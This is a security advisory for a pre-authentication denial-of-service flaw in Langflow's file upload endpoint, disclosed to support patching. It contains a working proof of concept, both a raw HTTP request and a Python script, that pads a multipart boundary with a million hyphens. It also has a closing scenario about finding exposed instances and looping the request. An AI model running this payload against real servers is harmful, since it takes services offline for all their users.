CVE-2026-55446: Langflow: pre-auth DoS via malformed multipart boundary

### Summary An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. ### Details https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40 The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. ### PoC An attacker makes this request to upload a file without valid authentication information or a valid flow ID: ``` POST /api/v1/files/upload/test HTTP/1.1 Host: 127.0.0.1:7860 Content-Length: 3000192 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ Accept: application/json, text/plain, */* Origin: http://127.0.0.1:7860 Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundaryorGBAKSkv5wR6WqJ Content-Disposition: form-data; name="file"; filename="dos.txt" Content-Type: text/plain DoS in progress! ------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000> ``` Here is the request in python: ```python import requests url = "http://127.0.0.1:7860/api/v1/files/upload/test" headers = { "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ" } data = ( "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n" "Content-Type: text/plain\r\n\r\n" "DoS in progress\r\n" "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n" ) response = requests.post(url, headers=headers, data=data) ``` The app will then be stuck in the "server is busy" state for all users: <img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05"> ### Impact Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want. ### Patches Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}$`) and rejects malformed requests — including the oversized-hyphen payload — with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.

An adversary targeting an organization's AI automation stack identifies a publicly exposed Langflow instance via Shodan or OSINT on the company's technology footprint. Without any credentials or knowledge of valid flow IDs, the attacker sends a single HTTP POST to /api/v1/files/upload/test with a multipart Content-Type boundary followed by 1,000,000 hyphens. The Langflow web server worker blocks indefinitely attempting to parse the malformed body before any auth check executes, rendering the entire service unavailable. The attacker scripts a loop to re-send on any service recovery — effectively maintaining a persistent DoS against all LLM workflows, RAG pipelines, and agentic automations running on the instance with minimal infrastructure cost and zero attribution risk.